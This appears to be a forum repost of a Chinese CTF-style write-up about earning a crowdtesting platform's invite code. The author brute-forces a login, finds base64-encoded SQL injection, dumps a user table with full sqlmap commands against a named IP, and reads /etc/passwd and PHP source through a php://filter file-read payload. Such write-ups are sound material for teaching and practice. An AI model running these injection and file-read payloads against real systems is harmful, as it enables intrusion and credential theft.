搜索

[16300] 2021-01-09_记录一次众测平台邀请码获取

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-01-09_记录一次众测平台邀请码获取 记 录 一 次 众 测 平 台 邀 请 码 获 取 a n d i S E C   F r e e B u f   2 0 2 1 - 0 1 - 0 9 0 x 0 0   背 景 背 景 今 天 刚 到 公 司 ， 看 到 刚 哥 在 群 里 发 的 消 息 。 打 开 一 看 是 个 众 测 平 台 ， 注 册 的 时 候 提 示 需 要 邀 请 码 ， 而 邀 请 码 的 获 得 方 式 有 两 种 ， 一 种 是 老 用 户 邀 请 ， 另 一 种 则 需 要 通 过 平 台 提 供 的 一 个 小 游 戏 获 取 f l a g ， 然 而 我 们 也 不 认 识 老 用 户 ， 没 办 法 那 只 能 去 找 f l a g 了 。 游 戏 地 址 0 x 0 1   密 码 爆 破 密 码 爆 破 打 开 网 址 看 到 只 有 一 个 用 户 名 密 码 ， 并 没 有 存 在 验 证 码 ， 那 肯 定 是 先 使 用 b u r p 软 件 密 码 爆 破 一 波 。 密 码 非 常 简 单 ， 根 据 返 回 的 状 态 码 找 到 正 确 的 账 号 密 码 t e s t / t e s t 1 2 3 。 0 x 0 2   s q l 注 入 （ 整 形 手 动 ） 注 入 （ 整 形 手 动 ） 使 用 破 解 的 账 号 密 码 登 录 系 统 ， 只 有 两 个 链 接 地 址 ， 分 别 打 开 看 看 ， 其 中 一 个 链 接 地 址 中 包 含 a i d 参 数 ， 对 其 进 行 了 一 波 简 单 的 s q l 注 入 尝 试 后 ， 并 没 有 发 现 什 么 可 用 的 价 值 ， 暂 时 先 放 着 。 接 下 来 尝 试 把 a i d = 1 换 成 - 1 、 0 、 1 、 2 、 3 、 4 看 看 页 面 变 化 ， 当 a i d = 3 时 页 面 出 现 了 更 多 链 接 ， 如 下 图 ： 然 后 将 这 些 链 接 挨 个 打 开 ， 当 打 开 第 4 个 链 接 （ h t t p : / / 1 1 9 . 3 . 1 9 1 . 2 4 5 : 8 8 7 7 / u s e r / A r t i c l e . p h p ? a i d = 3 & i d = N Q = = ） 时 ， 发 现 与 其 它 链 接 有 点 不 一 样 ， 多 了 一 个 参 数 ， 将 N Q = = 尝 试 用 b a s e s 6 4 解 密 后 是 5 ， 然 后 对 该 参 数 进 行 s q l 注 入 尝 试 。 将 5   a n d   1 = 1 进 行 b a s e 6 4 加 密 后 替 换 至 u r l 中 观 察 页 面 返 回 结 果 ， 如 下 图 ： 然 后 将 5   a n d   1 = 2 进 行 b a s e 6 4 加 密 后 替 换 至 u r l 中 观 察 页 面 返 回 结 果 ， 结 果 发 现 端 倪 ， 如 下 图 ： 到 这 里 可 以 基 本 判 断 此 处 存 在 s q l 注 入 漏 洞 ， 然 后 利 用 o r d e r   b y （ 或 者 u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , N ） 确 定 当 前 数 据 库 的 字 段 数 目 ， 为 接 下 来 爆 库 表 字 段 做 准 备 。 将 o r d e r   b y   n （ n 是 猜 测 的 字 段 数 目 ） 加 密 后 放 到 地 址 栏 最 后 ， 经 过 多 次 尝 试 最 后 的 字 段 数 为 o r d e r   b y   3 。
已 知 字 段 数 为 3 ， 那 么 就 可 以 利 用 u n i o n 联 合 查 询 判 断 网 站 显 示 的 内 容 在 数 据 库 的 第 几 列 。 当 使 用 5   u n i o n   s e l e c t   1 , 2 , 3   — + 加 密 添 加 到 i d = 之 后 ， 结 果 网 页 显 示 “ 感 知 到 注 入 迹 象 ， 启 动 第 四 阻 断 机 制 ” 的 提 示 ， 猜 测 可 能 是 因 为 网 站 禁 止 使 用 u n i o n 函 数 。 0 x 0 3   s q l 注 入 （ 盲 注 ） 注 入 （ 盲 注 ） 既 然 u n i o n 不 让 用 ， 那 就 试 试 盲 注 ， 因 为 手 动 盲 注 太 费 时 间 ， 我 选 择 使 用 s q l m a p 工 具 ， 构 造 命 令 ( * 是 指 定 跑 注 入 的 位 置 ， — c o o k i e = “ 使 用 b u r p 抓 包 得 到 自 己 的 c o o k i e ”   ，   — b a t c h 默 认 选 择 确 定 ， — r a n d o m - a g e n t 选 项 将 s q l m a p 的 标 准 值 更 改 为 任 意 值 ， 利 用 工 具 b a s e 6 4 e n c o d e . p y 解 码   ， — l e v e l   3 同 时 显 示 注 入 的 p a y l o a d 。 ) 注 入 成 功 ， 接 下 来 跑 网 站 的 数 据 库 最 后 跑 出 来 五 个 数 据 库 ， 除 了 l e v e l 2 其 余 4 个 均 为 m y s q l 的 自 带 库 ， 然 后 选 择 l e v e l 2 数 据 库 跑 数 据 表 ， 构 造 命 令 如 下 ： l e v e l 2 库 中 存 在 u s e r 和 a r t i c l e 两 个 表 ， 那 基 本 可 以 判 断 u s e r 表 是 保 存 登 录 账 号 密 码 的 表 ， a r t i c l e 是 刚 才 那 个 页 面 像 小 说 页 面 的 文 章 表 ， 如 下 图 ： 查 看 u s e r 表 中 内 容 ， 构 造 命 令 如 下 ： 成 功 得 到 所 有 账 户 名 密 码 ， 看 到 其 中 有 a d m i n 账 户 ， 登 录 后 看 看 是 否 有 f l a g 线 索 。 0 x 0 4   s q l 文 件 包 含 文 件 包 含 登 录 a d m i n 账 号 后 页 面 几 乎 与 t e s t 页 面 无 两 样 ， 不 过 在 同 样 的 文 本 后 多 了 一 个 小 表 情 ， 应 该 是 某 种 线 索 ， 点 击 右 键 查 看 源 代 码 ， 发 现 图 片 地 址 ， 如 下 图 ： p y t h o n   s q l m a p . p y   - u   " h t t p : / / 1 1 9 . 3 . 1 9 1 . 2 4 5 : 8 8 7 7 / u s e r / A r t i c l e . p h p ? a i d = 3 & i d = * "   - - c o o k i e = "   P H P S E S S I D = o t e i b u u o p 3 n r 3 o j 8 d 7 e 8 9 9 u l g 1 "   - - b a t c h   - - r a n d o m - a g e n t   - - t a m p e r   b a s e 6 4 e n c o d e . p y   - - l e v e l   p y t h o n   s q l m a p   - u   " h t t p : / / 1 1 9 . 3 . 1 9 1 . 2 4 5 : 8 8 7 7 / u s e r / A r t i c l e . p h p ? a i d = 3 & i d = * "   - - c o o k i e = " P H P S E S S I D = o t e i b u u o p 3 n r 3 o j 8 d 7 e 8 9 9 u l g 1 "   - - b a t c h   - - r a n d o m - a g e n t   - - t a m p e r   b a s e 6 4 e n c o d e . p y   - - d b s p y t h o n   s q l m a p . p y   - u   " h t t p : / / 1 1 9 . 3 . 1 9 1 . 2 4 5 : 8 8 7 7 / u s e r / A r t i c l e . p h p ? a i d = 3 & i d = * "   - - c o o k i e = " P H P S E S S I D = o t e i b u u o p 3 n r 3 o j 8 d 7 e 8 9 9 u l g 1 "   - - b a t c h   - - r a n d o m - a g e n t   - - t a m p e r   b a s e 6 4 e n c o d e . p y   - D   p y t h o n   s q l m a p . p y   - u   " h t t p : / / 1 1 9 . 3 . 1 9 1 . 2 4 5 : 8 8 7 7 / u s e r / A r t i c l e . p h p ? a i d = 3 & i d = * "   - - c o o k i e = " P H P S E S S I D = o t e i b u u o p 3 n r 3 o j 8 d 7 e 8 9 9 u l g 1 "   - - b a t c h   - - r a n d o m - a g e n t   - - t a m p e r   b a s e 6 4 e n c o d e . p y   - D  
看 到 图 片 u r l 中 的 f i l e n a m e 参 数 ， 第 一 感 觉 是 尝 试 文 件 包 含 ， 首 先 读 取 f i l e n a m e = / e t c / p a s s w d 成 功 读 取 ， 可 以 很 确 定 此 处 存 在 任 意 文 件 读 取 漏 洞 。 任 意 文 件 读 取 漏 洞 好 像 对 于 拿 f l a g 没 有 什 么 用 ， 不 过 我 们 可 以 尝 试 读 取 当 前 这 些 页 面 的 源 文 件 ， 看 看 有 没 有 什 么 线 索 。 p o c 构 造 如 下 ： 将 R e a d . p h p 文 件 的 内 容 以 b a s e 6 4 形 式 输 出 ， 将 得 到 的 内 容 解 密 ， 可 以 看 到 R e a d . p h p 的 源 码 如 下 图 ： 看 到 文 件 包 含 函 数 r e q u l r e _ o n c e 引 用 了 B a s e . p h p 文 件 ， 继 续 尝 试 读 取 B a s e . p h p 文 件 ， 如 下 图 ： 将 解 密 的 代 码 拉 到 最 后 看 到 “ 关 于 邀 请 码 ” 的 提 示 ， 继 续 读 取 m e i f a h u f u j i u l a i m i n g d u . p h p 源 码 ， 源 码 文 件 内 容 如 下 ： 根 据 得 到 的 信 息 了 解 到 需 要 用 p o s t 方 式 提 交 e m a i l = 参 数 获 取 邀 请 码 ， 构 造 接 口 如 下 图 ： f i l e n a m e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = R e a d . p h p < ? p h p   # 关 于 邀 请 码 ， 嗯 ， 一 目 了 然 。 r e q u i r e _ o n c e ( " B a s e . p h p " ) ; e r r o r _ r e p o r t i n g ( 0 ) ; / / $ u s e r   =   i s U s e r ( ) ;   $ u r l   =   " h t t p : / / 1 7 2 . 1 7 . 0 . 1 : 3 0 0 0 / c o d e " ;   $ e m a i l   =   " " ; f u n c t i o n   s e n d _ p o s t (   $ u r l   ,   $ p o s t _ d a t a   )   {         $ p o s t d a t a   =   h t t p _ b u i l d _ q u e r y (   $ p o s t _ d a t a   ) ;         $ o p t i o n s   =   a r r a y   (                 ' h t t p '   = >   a r r a y   (                         ' m e t h o d '   = >   ' P O S T '   ,                         ' h e a d e r '   = >   ' C o n t e n t - t y p e : a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d '   ,                         ' c o n t e n t '   = >   $ p o s t d a t a   ,                         ' t i m e o u t '   = >   1 5   *   6 0                 )         ) ;         $ c o n t e x t   =   s t r e a m _ c o n t e x t _ c r e a t e (   $ o p t i o n s   ) ;         $ r e s u l t   =   f i l e _ g e t _ c o n t e n t s   (   $ u r l   ,   f a l s e ,   $ c o n t e x t   ) ;         r e t u r n   $ r e s u l t   ; } $ p o s t _ d a t a   =   a r r a y   (         ' e '   = >   $ _ P O S T [ ' e m a i l ' ] ) ; e c h o   s e n d _ p o s t (   $ u r l   ,   $ p o s t _ d a t a   ) ; # p s : 建 团 ？ 什 么 建 团 ？ 啊 ， 哦 ， 那 个 啊 ， 我 记 得 小 姐 把 它 扔 到 s t a t i c 下 面 去 了 ， 有 心 的 话 ， 去 那 儿 找 找 吧 。
成 功 返 回 f l a g ， 提 交 f l a g 注 册 成 功 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理